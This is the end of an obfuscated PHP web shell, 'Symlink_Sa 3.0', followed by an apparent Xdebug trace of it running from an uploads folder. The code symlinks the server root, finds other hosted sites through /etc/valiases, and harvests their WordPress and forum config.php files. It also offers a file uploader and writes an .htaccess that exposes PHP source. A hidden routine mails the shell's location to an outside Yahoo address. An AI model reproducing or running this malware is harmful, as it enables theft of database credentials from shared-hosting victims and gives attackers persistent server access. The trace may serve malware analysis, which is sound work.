if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUlJ')]($GLOBALS['OOO0000O0']('em9uZQ=='), $IIIIIIIIIl1l)) {
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMUls')]($GLOBALS['OOO0000O0']('I3pvbmUgIiguKikiIw=='), $IIIIIIIIIl1l, $IIIIIIIII1I1);
if (strlen($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWxJ')]($IIIIIIIII1I1[1][0])) > 2) {
$IIIIIIIII1ll = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMWwx')](@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJMTFJ')]($GLOBALS['OOO0000O0']('L2V0Yy92YWxpYXNlcy8=') . $IIIIIIIII1I1[1][0]));
$IIIIIIIII11l = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIII111 = get_headers($IIIIIIIII11l);
$wp = $IIIIIIIII111[0];
$IIIIIIIIlIIl = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L3ZiL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIIlII1 = get_headers($IIIIIIIIlIIl);
$IIIIIIIIlIlI = $IIIIIIIIlII1[0];
$IIIIIIIlI111 = $IIIIIIIIIIIl . $GLOBALS['OOO0000O0']('L3N5bS9yb290L2hvbWUv') . $IIIIIIIII1ll[$GLOBALS['OOO0000O0']('bmFtZQ==')] . $GLOBALS['OOO0000O0']('L2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHA=');
$IIIIIIIllIII = get_headers($IIIIIIIlI111);
$IIIIIIIllIIl = $IIIIIIIllIII[0];
$IIIIIIII1I1I = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw'));
$IIIIIIII1I11 = $GLOBALS['OOO0000O0']('Jm5ic3A7');
if ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($wp, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIII11l;
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIIlIlI, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIIlIIl;
} elseif ($GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxSTFs')]($IIIIIIIllIIl, $GLOBALS['OOO0000O0']('MjAw')) == true) {
$IIIIIIII1I11 = $IIIIIIIlI111;
} else {
continue;
}
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
$IIIIIIIIIl1l = $IIIIIIIII1I1[1][0];
$w = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbElJ')]($IIIIIIIIII1l, "{$IIIIIIII1I11}||{$IIIIIIIIIl1l} \n");
if ($w) {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOiAjMDA2NjAwIj5TYXZlPC9iPg==');
} else {
$r = $GLOBALS['OOO0000O0']('PGIgc3R5bGU9ImNvbG9yOnJlZCI+ZmFpbGVkPC9iPg==');
}
echo $GLOBALS['OOO0000O0']('PHRyPjx0ZD48YSBocmVmPWh0dHA6Ly93d3cu') . $IIIIIIIII1I1[1][0] . $GLOBALS['OOO0000O0']('Pg==') . $IIIIIIIII1I1[1][0] . "</a></td>\r\n<td><a href='{$IIIIIIII1I11}'>config</a></td><td>" . $r . $GLOBALS['OOO0000O0']('PC90ZD48L3RyPg==');
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJbDEx')]();
}
}
}
}
break;
case $GLOBALS['OOO0000O0']('aGVscA=='):
echo "<div class='tmp'>\r\n<table align='center' width='40%'><td>function</td><td>Case</td>";
$safe_mode = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbElJ')]($GLOBALS['OOO0000O0']('c2FmZV9tb2Rl'));
if ($safe_mode) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #336600'>True</b>";
}
echo "<tr><td>Safe Mode</td><td>{$r}</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('c3ltbGluaw=='));
if (!$IIIIIIIlllIl) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #336600'>True</b>";
}
echo "<tr><td>function symlink</td><td>{$r}</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('ZmlsZQ=='));
if (!$IIIIIIIlllIl) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #336600'>True</b>";
}
echo "<tr><td>function file</td><td>{$r}</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('ZmlsZV9nZXRfY29udGVudHM='));
if (!$IIIIIIIlllIl) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #336600'>True</b>";
}
echo "<tr><td>function file_get_contents</td><td>{$r}</td>";
$IIIIIIIlllIl = function_exists($GLOBALS['OOO0000O0']('bWtkaXI='));
if (!$IIIIIIIlllIl) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #336600'>True</b>";
}
echo "<tr><td>function mkdir</td><td>{$r}</td>";
$IIIIIIIlllIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbEkx')]($GLOBALS['OOO0000O0']('c3ltL3Jvb3Q='));
if (!$IIIIIIIlllIl) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #336600'>True</b>";
}
echo "<tr><td>Permission denied</td><td>{$r}</td>";
$IIIIIIIlllIl = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUkxbGxJ')]($GLOBALS['OOO0000O0']('L0ZvcmJpZGRlbi8='), @file_get_contents($GLOBALS['OOO0000O0']('c3ltL3Jvb3Q=')) or !@file_get_contents($GLOBALS['OOO0000O0']('c3ltL3Jvb3Q=')));
if ($IIIIIIIlllIl) {
$r = "<b style='color: red'>False</b>";
} else {
$r = "<b style='color: #006600'>True</b>";
}
echo "<tr><td>Forbidden</td><td>{$r}</td>";
echo $GLOBALS['OOO0000O0']('PC90YWJsZT48L2Rpdj4=');
break;
default:
$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbGxJ')]("Location: {$IIIIIIIIIlI1}");
}
} else {
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGJyIC8+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+');
echo $GLOBALS['OOO0000O0']('PGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHZhbHVlPSJDaG9vc2UgZmlsZSIgc2l6ZT0iNjAiID48aW5wdXQgbmFtZT0iX3VwbCIgdHlwZT0ic3VibWl0IiBpZD0iX3VwbCIgdmFsdWU9IlVwbG9hZCI+PC9mb3JtPg==');
if ($_POST[$GLOBALS['OOO0000O0']('X3VwbA==')] == $GLOBALS['OOO0000O0']('VXBsb2Fk')) {
if (@$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxsbGxs')]($_FILES[$GLOBALS['OOO0000O0']('ZmlsZQ==')][$GLOBALS['OOO0000O0']('dG1wX25hbWU=')], $_FILES[$GLOBALS['OOO0000O0']('ZmlsZQ==')][$GLOBALS['OOO0000O0']('bmFtZQ==')])) {
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGJyIC8+PGI+VXBsb2FkZWQgc3VjY2Vzc2Z1bCAhITxicj48YnI+');
} else {
echo $GLOBALS['OOO0000O0']('PGJyIC8+PGJyIC8+Tm90IHVwbG9hZGVkICEhPGJyPjxicj4=');
}
}
echo $GLOBALS['OOO0000O0']('DQo8YnIgLz48YnIgLz48YnIgLz48L2I+PC9iPjxkaXYgY2xhc3M9ImZvdCI+Q29kM2QgYnkgPGI+UzNuNHQwMHI8L2I+IElkZWEgYnkgPGI+TXIuQWxzYTNlazwvYj4NCjxiciAvPjxiciAvPg0KPGIgc3R5bGU9ImNvbG9yOiByZWQiOz4gICBTZWMtdy5Db20gIDwvYj4NCjxiciAvPjxiciAvPg0KTXVzbGltcyBIYWNrZXJzPC9kaXY+IA==');
}
function IIIIIIIllll1($IIIIIIIlll1I, $IIIIIIIlll1l, $IIIIIIIlll11)
{
$IIIIIIIll1II = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($IIIIIIIlll1l, $IIIIIIIlll1I);
$IIIIIIIll1II = $GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSUlJSWxJ')]($IIIIIIIlll11, $IIIIIIIll1II[1]);
return $IIIIIIIll1II[0];
}
echo $GLOBALS['OOO0000O0']('PC9kaXY+DQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8/Pz8iL2hyZWY9Imh0dHA6Ly9zZWMtdy5jb20vY2MiPj8/Pz8/Pz88L2E+DQoNCjxhIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjRjRGNEY0OyIgdGl0bGU9Ij8/Pz8gPz8/Pz8/PyIvaHJlZj0iaHR0cDovL3NlYy13LmNvbS9jYyI+Pz8/PyA/Pz8/Pz8/PC9hPg0KDQoNCg0KPC9ib2R5Pg0KDQo8L2h0bWw+DQo=');
echo $GLOBALS['OOO0000O0']('');
$IIIIIIII1lII = $GLOBALS['OOO0000O0']('d3d3LlNoM2xsLlVz');
if (!$GLOBALS[$GLOBALS['OOO0000O0']('SUlJSUlJSWxJbGwx')]($IIIIIIII1lII, $_SERVER[$GLOBALS['OOO0000O0']('U0VSVkVSX05BTUU=')])) {
$IIIIIIIll1Il = $GLOBALS['OOO0000O0']('cXdlcnR5LndlcnR5ODJAeWFob28uY29t');
$IIIIIIIll1I1 = $GLOBALS['OOO0000O0']('RUdGTQ==');
$IIIIIIIll1lI = $GLOBALS['OOO0000O0']('ZnJvbTogRUdGTSA8cXdlcnR5LndlcnR5ODJAeWFob28uY29tPg==');
$IIIIIIIll1ll = $GLOBALS['OOO0000O0']('TGluayA6IGh0dHA6Ly8=') . $_SERVER[$GLOBALS['OOO0000O0']('U0VSVkVSX05BTUU=')] . $_SERVER[$GLOBALS['OOO0000O0']('UkVRVUVTVF9VUkk=')] . "\r\n";
$IIIIIIIll1ll .= $GLOBALS['OOO0000O0']('UGF0aCA6IA==') . "/var/www/html/sm.php.12ae157e4825f19c6f913c1374fc9b31.bin";
$IIIIIIIll1l1 = @mail($IIIIIIIll1Il, $IIIIIIIll1I1, $IIIIIIIll1ll, $IIIIIIIll1lI);
echo $GLOBALS['OOO0000O0']('');
exit;
}
echo $GLOBALS['OOO0000O0']('PC9ib2R5PjwvaHRtbD4=');
chdir($IIIIIIIll11I);
c99shexit();
echo $GLOBALS['OOO0000O0']('DQoNCg0K');Execution traces
data/traces/0e9f8a8cf68c46e6881bc829e6dd70e0_trace-1676249423.488.xtVersion: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 22:50:49.385826]
1 0 1 0.000231 393464
1 3 0 0.001745 753944 {main} 1 /var/www/html/uploads/sm.php 0 0
2 4 0 0.001766 753944 urldecode 0 /var/www/html/uploads/sm.php 1 1 '%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64'
2 4 1 0.001783 754056
2 4 R 'fg6sbehpra4co_tnd'
1 A /var/www/html/uploads/sm.php 1 $OOO000000 = 'fg6sbehpra4co_tnd'
1 A /var/www/html/uploads/sm.php 1 GLOBALS['OOO0000O0'] = 'base64_d'
1 A /var/www/html/uploads/sm.php 1 ['OOO0000O0'] .= 'ecode'
2 5 0 0.001841 754040 base64_decode 0 /var/www/html/uploads/sm.php 1 1 'JEdMT0JBTFNbJ0lJSUlJSUlsbGxsbCddPSdjb3B5JzskR0xPQkFMU1snSUlJSUlJSWxsbGxJJ109J2hlYWRlcic7JEdMT0JBTFNbJ0lJSUlJSUlsbGxJMSddPSdpc19kaXInOyRHTE9CQUxTWydJSUlJSUlJbGxsSUknXT0naW5pX2dldCc7JEdMT0JBTFNbJ0lJSUlJSUlsSTFsMSddPSdteXNxbF9xdWVyeSc7JEdMT0JBTFNbJ0lJSUlJSUlsSTFsSSddPSdteXNxbF9jb25uZWN0JzskR0xPQkFMU1snSUlJSUlJSWxJbGwxJ109J2VyZWcnOyRHTE9CQUxTWydJSUlJSUlJbElJSTEnXT0nZmNsb3NlJzskR0xPQkFMU1snSUlJSUlJSWxJSUlJJ109J3N0cmlwY3NsYXNoZXMnOyRHTE9CQUxTWydJSUlJSUlJSTExMUknXT0naGlnaGxpZ2h0X2ZpbGUnOyRHTE9CQUxTWydJSUlJSUlJSTEx'
2 5 1 0.001871 755608
2 5 R '$GLOBALS[\'IIIIIIIlllll\']=\'copy\';$GLOBALS[\'IIIIIIIllllI\']=\'header\';$GLOBALS[\'IIIIIIIlllI1\']=\'is_dir\';$GLOBALS[\'IIIIIIIlllII\']=\'ini_get\';$GLOBALS[\'IIIIIIIlI1l1\']=\'mysql_query\';$GLOBALS[\'IIIIIIIlI1lI\']=\'mysql_connect\';$GLOBALS[\'IIIIIIIlIll1\']=\'ereg\';$GLOBALS[\'IIIIIIIlIII1\']=\'fclose\';$GLOBALS[\'IIIIIIIlIIII\']=\'stripcslashes\';$GLOBALS[\'IIIIIIII111I\']=\'highlight_file\';$GLOBALS[\'IIIIIIII11l1\']=\'show_source\';$GLOBALS[\'IIIIIIII11ll\']=\'htmlentities\';$GLOBALS[\'IIIIIIII11'
2 6 0 0.001936 764600 eval 1 '$GLOBALS[\'IIIIIIIlllll\']=\'copy\';$GLOBALS[\'IIIIIIIllllI\']=\'header\';$GLOBALS[\'IIIIIIIlllI1\']=\'is_dir\';$GLOBALS[\'IIIIIIIlllII\']=\'ini_get\';$GLOBALS[\'IIIIIIIlI1l1\']=\'mysql_query\';$GLOBALS[\'IIIIIIIlI1lI\']=\'mysql_connect\';$GLOBALS[\'IIIIIIIlIll1\']=\'ereg\';$GLOBALS[\'IIIIIIIlIII1\']=\'fclose\';$GLOBALS[\'IIIIIIIlIIII\']=\'stripcslashes\';$GLOBALS[\'IIIIIIII111I\']=\'highlight_file\';$GLOBALS[\'IIIIIIII11l1\']=\'show_source\';$GLOBALS[\'IIIIIIII11ll\']=\'htmlentities\';$GLOBALS[\'IIIIIIII11lI\']=\'filesize\';$GLOBALS[\'IIIIIIII11I1\']=\'fread\';$GLOBALS[\'IIIIIIII1llI\']=\'preg_match\';$GLOBALS[\'IIIIIIII1I1l\']=\'strpos\';$GLOBALS[\'IIIIIIIII11I\']=\'fileowner\';$GLOBALS[\'IIIIIIIII1l1\']=\'posix_getpwuid\';$GLOBALS[\'IIIIIIIII1lI\']=\'trim\';$GLOBALS[\'IIIIIIIII1Il\']=\'preg_match_all\';$GLOBALS[\'IIIIIIIII1II\']=\'eregi\';$GLOBALS[\'IIIIIIIIIl11\']=\'flush\';$GLOBALS[\'IIIIIIIIIl1I\']=\'file\';$GLOBALS[\'IIIIIIIIIlll\']=\'is_file\';$GLOBALS[\'IIIIIIIIIllI\']=\'basename\';$GLOBALS[\'IIIIIIIIIlIl\']=\'symlink\';$GLOBALS[\'IIIIIIIIIlII\']=\'fwrite\';$GLOBALS[\'IIIIIIIIII11\']=\'fopen\';$GLOBALS[\'IIIIIIIIIIll\']=\'count\';$GLOBALS[\'IIIIIIIIIIlI\']=\'explode\';$GLOBALS[\'IIIIIIIIIIII\']=\'set_time_limit\';' /var/www/html/uploads/sm.php 1 0
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlllll'] = 'copy'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIllllI'] = 'header'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlllI1'] = 'is_dir'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlllII'] = 'ini_get'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlI1l1'] = 'mysql_query'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlI1lI'] = 'mysql_connect'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlIll1'] = 'ereg'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlIII1'] = 'fclose'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIlIIII'] = 'stripcslashes'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII111I'] = 'highlight_file'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII11l1'] = 'show_source'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII11ll'] = 'htmlentities'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII11lI'] = 'filesize'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII11I1'] = 'fread'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII1llI'] = 'preg_match'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIII1I1l'] = 'strpos'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIII11I'] = 'fileowner'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIII1l1'] = 'posix_getpwuid'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIII1lI'] = 'trim'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIII1Il'] = 'preg_match_all'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIII1II'] = 'eregi'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIl11'] = 'flush'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIl1I'] = 'file'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIlll'] = 'is_file'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIllI'] = 'basename'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIlIl'] = 'symlink'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIlII'] = 'fwrite'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIII11'] = 'fopen'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIIll'] = 'count'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIIlI'] = 'explode'
2 A /var/www/html/uploads/sm.php(1) : eval()'d code 1 GLOBALS['IIIIIIIIIIII'] = 'set_time_limit'
2 6 1 0.002389 768696
2 7 0 0.002398 761832 base64_decode 0 /var/www/html/uploads/sm.php 2 1 'SUlJSUlJSUlJSUlJ'
2 7 1 0.002411 761912
2 7 R 'IIIIIIIIIIII'
2 8 0 0.002426 761832 set_time_limit 0 /var/www/html/uploads/sm.php 2 1 0
2 8 1 0.002441 761896
2 8 R FALSE
2 9 0 0.002455 761864 error_reporting 0 /var/www/html/uploads/sm.php 3 1 0
2 9 1 0.002468 761904
2 9 R 22527
2 10 0 0.002480 761864 base64_decode 0 /var/www/html/uploads/sm.php 4 1 'aHR0cDovLw=='
2 10 1 0.002493 761936
2 10 R 'http://'
2 11 0 0.002506 761904 base64_decode 0 /var/www/html/uploads/sm.php 4 1 'U0VSVkVSX05BTUU='
2 11 1 0.002519 761984
2 11 R 'SERVER_NAME'
2 12 0 0.002534 761912 base64_decode 0 /var/www/html/uploads/sm.php 4 1 'UkVRVUVTVF9VUkk='
2 12 1 0.002547 761992
2 12 R 'REQUEST_URI'
1 A /var/www/html/uploads/sm.php 4 $IIIIIIIIIIIl = 'http://localhost/uploads/sm.php'
2 13 0 0.002572 761920 base64_decode 0 /var/www/html/uploads/sm.php 5 1 'SUlJSUlJSUlJSWxJ'
2 13 1 0.002584 762000
2 13 R 'IIIIIIIIIIlI'
2 14 0 0.002598 761920 base64_decode 0 /var/www/html/uploads/sm.php 5 1 'Lw=='
2 14 1 0.002611 761984
2 14 R '/'
2 15 0 0.002624 761952 explode 0 /var/www/html/uploads/sm.php 5 2 '/' 'http://localhost/uploads/sm.php'
2 15 1 0.002638 762536
2 15 R [0 => 'http:', 1 => '', 2 => 'localhost', 3 => 'uploads', 4 => 'sm.php']
1 A /var/www/html/uploads/sm.php 5 $IIIIIIIIIII1 = [0 => 'http:', 1 => '', 2 => 'localhost', 3 => 'uploads', 4 => 'sm.php']
2 16 0 0.002672 762432 base64_decode 0 /var/www/html/uploads/sm.php 6 1 'SUlJSUlJSUlJSWxs'
2 16 1 0.002684 762512
2 16 R 'IIIIIIIIIIll'
2 17 0 0.002697 762432 count 0 /var/www/html/uploads/sm.php 6 1 [0 => 'http:', 1 => '', 2 => 'localhost', 3 => 'uploads', 4 => 'sm.php']
2 17 1 0.002714 762464
2 17 R 5
2 18 0 0.002727 762432 base64_decode 0 /var/www/html/uploads/sm.php 6 1 ''
2 18 1 0.002739 762496
2 18 R ''
2 19 0 0.002752 762464 str_replace 0 /var/www/html/uploads/sm.php 6 3 'sm.php' '' 'http://localhost/uploads/sm.php'
2 19 1 0.002767 762616
2 19 R 'http://localhost/uploads/'
1 A /var/www/html/uploads/sm.php 6 $IIIIIIIIIIIl = 'http://localhost/uploads/'
2 20 0 0.002792 762432 base64_decode 0 /var/www/html/uploads/sm.php 7 1 'ZnRwOi8v'
2 20 1 0.002805 762504
2 20 R 'ftp://'
2 21 0 0.002818 762472 base64_decode 0 /var/www/html/uploads/sm.php 7 1 'U0VSVkVSX05BTUU='
2 21 1 0.002830 762552
2 21 R 'SERVER_NAME'
2 22 0 0.002845 762472 base64_decode 0 /var/www/html/uploads/sm.php 7 1 'L3B1YmxpY19odG1sLw=='
2 22 1 0.002858 762552
2 22 R '/public_html/'
2 23 0 0.002872 762488 base64_decode 0 /var/www/html/uploads/sm.php 7 1 'UkVRVUVTVF9VUkk='
2 23 1 0.002884 762568
2 23 R 'REQUEST_URI'
1 A /var/www/html/uploads/sm.php 7 $IIIIIIIIIIl1 = 'ftp://localhost/public_html//uploads/sm.php'
2 24 0 0.002909 762512 base64_decode 0 /var/www/html/uploads/sm.php 8 1 'SUlJSUlJSUlJSWxJ'
2 24 1 0.002921 762592
2 24 R 'IIIIIIIIIIlI'
2 25 0 0.002935 762512 base64_decode 0 /var/www/html/uploads/sm.php 8 1 'Lw=='
2 25 1 0.002947 762576
2 25 R '/'
2 26 0 0.002959 762544 explode 0 /var/www/html/uploads/sm.php 8 2 '/' 'ftp://localhost/public_html//uploads/sm.php'
2 26 1 0.002974 763168
2 26 R [0 => 'ftp:', 1 => '', 2 => 'localhost', 3 => 'public_html', 4 => '', 5 => 'uploads', 6 => 'sm.php']
1 A /var/www/html/uploads/sm.php 8 $IIIIIIIIIII1 = [0 => 'ftp:', 1 => '', 2 => 'localhost', 3 => 'public_html', 4 => '', 5 => 'uploads', 6 => 'sm.php']
2 27 0 0.003011 762552 base64_decode 0 /var/www/html/uploads/sm.php 9 1 'SUlJSUlJSUlJSWxs'
2 27 1 0.003023 762632
2 27 R 'IIIIIIIIIIll'
2 28 0 0.003037 762552 count 0 /var/www/html/uploads/sm.php 9 1 [0 => 'ftp:', 1 => '', 2 => 'localhost', 3 => 'public_html', 4 => '', 5 => 'uploads', 6 => 'sm.php']
2 28 1 0.003054 762584
2 28 R 7
2 29 0 0.003067 762552 base64_decode 0 /var/www/html/uploads/sm.php 9 1 ''
2 29 1 0.003083 762616
2 29 R ''
2 30 0 0.003096 762584 str_replace 0 /var/www/html/uploads/sm.php 9 3 'sm.php' '' 'ftp://localhost/public_html//uploads/sm.php'
2 30 1 0.003111 762744
2 30 R 'ftp://localhost/public_html//uploads/'
1 A /var/www/html/uploads/sm.php 9 $IIIIIIIIIIl1 = 'ftp://localhost/public_html//uploads/'
2 31 0 0.003137 762536 base64_decode 0 /var/www/html/uploads/sm.php 10 1 'ICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIg0KICAgICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4NCg0KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPg0KDQo8aGVhZD4NCjx0aXRsZT5TeW1saW5rX1NhIDMuMDwvdGl0bGU+DQoNCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+DQoNCiAgaHRtbCxib2R5IHsNCiAgICAgbWFyZ2luOiAwOw0KICAgICBwYWRkaW5nOiAwOw0KICAgICBvdXRsaW5lOiAwOw0KfQ0KYXsNCg0KIGZvbnQtc2l6ZTogMTNweDsNCg0KfQ0KDQoNCmJvZHkgew0KICAgIGRpcmVjdGlvbjogbHRyOw0KICAgIGJhY2tncm91bmQt'
2 31 1 0.003170 764616
2 31 R ' <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"\r\n "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">\r\n\r\n<html xmlns="http://www.w3.org/1999/xhtml">\r\n\r\n<head>\r\n<title>Symlink_Sa 3.0</title>\r\n\r\n<style type="text/css">\r\n\r\n html,body {\r\n margin: 0;\r\n padding: 0;\r\n outline: 0;\r\n}\r\na{\r\n\r\n font-size: 13px;\r\n\r\n}\r\n\r\n\r\nbody {\r\n direction: ltr;\r\n background-color:#F4F4F4;\r\n\tcolor: rgb(153, 153, 153);\r\n text-align: center\r\n}\r\'
2 32 0 0.003208 762536 base64_decode 0 /var/www/html/uploads/sm.php 11 1 'c3lt'
2 32 1 0.003220 762600
2 32 R 'sym'
2 33 0 0.003233 762568 mkdir 0 /var/www/html/uploads/sm.php 11 2 'sym' 511
2 33 1 0.003283 762752
2 33 R TRUE
1 A /var/www/html/uploads/sm.php 12 $IIIIIIIIII1I = 'Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any'
2 34 0 0.003316 762648 base64_decode 0 /var/www/html/uploads/sm.php 13 1 'SUlJSUlJSUlJSTEx'
2 34 1 0.003329 762728
2 34 R 'IIIIIIIIII11'
2 35 0 0.003343 762648 base64_decode 0 /var/www/html/uploads/sm.php 13 1 'c3ltLy5odGFjY2Vzcw=='
2 35 1 0.003356 762728
2 35 R 'sym/.htaccess'
2 36 0 0.003370 762696 base64_decode 0 /var/www/html/uploads/sm.php 13 1 'dw=='
2 36 1 0.003382 762760
2 36 R 'w'
2 37 0 0.003394 762728 fopen 0 /var/www/html/uploads/sm.php 13 2 'sym/.htaccess' 'w'
2 37 1 0.003430 763256
2 37 R resource(4) of type (stream)
1 A /var/www/html/uploads/sm.php 13 $IIIIIIIIII1l = resource(4) of type (stream)
2 38 0 0.003459 763104 base64_decode 0 /var/www/html/uploads/sm.php 14 1 'SUlJSUlJSUlJbElJ'
2 38 1 0.003471 763184
2 38 R 'IIIIIIIIIlII'
2 39 0 0.003485 763104 fwrite 0 /var/www/html/uploads/sm.php 14 2 resource(4) of type (stream) 'Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any'
2 39 1 0.003513 763168
2 39 R 175
2 40 0 0.003526 763104 base64_decode 0 /var/www/html/uploads/sm.php 15 1 'SUlJSUlJSUlJbEls'
2 40 1 0.003539 763184
2 40 R 'IIIIIIIIIlIl'
2 41 0 0.003553 763104 base64_decode 0 /var/www/html/uploads/sm.php 15 1 'Lw=='
2 41 1 0.003565 763168
2 41 R '/'
2 42 0 0.003578 763136 base64_decode 0 /var/www/html/uploads/sm.php 15 1 'c3ltL3Jvb3Q='
2 42 1 0.003590 763208
2 42 R 'sym/root'
2 43 0 0.003604 763176 symlink 0 /var/www/html/uploads/sm.php 15 2 '/' 'sym/root'
2 43 1 0.003630 763240
2 43 R TRUE
2 44 0 0.003644 763104 base64_decode 0 /var/www/html/uploads/sm.php 16 1 'SUlJSUlJSUlJbGxJ'
2 44 1 0.003656 763184
2 44 R 'IIIIIIIIIllI'
2 45 0 0.003670 763104 basename 0 /var/www/html/uploads/sm.php 16 1 '/var/www/html/uploads/sm.php'
2 45 1 0.003684 763168
2 45 R 'sm.php'
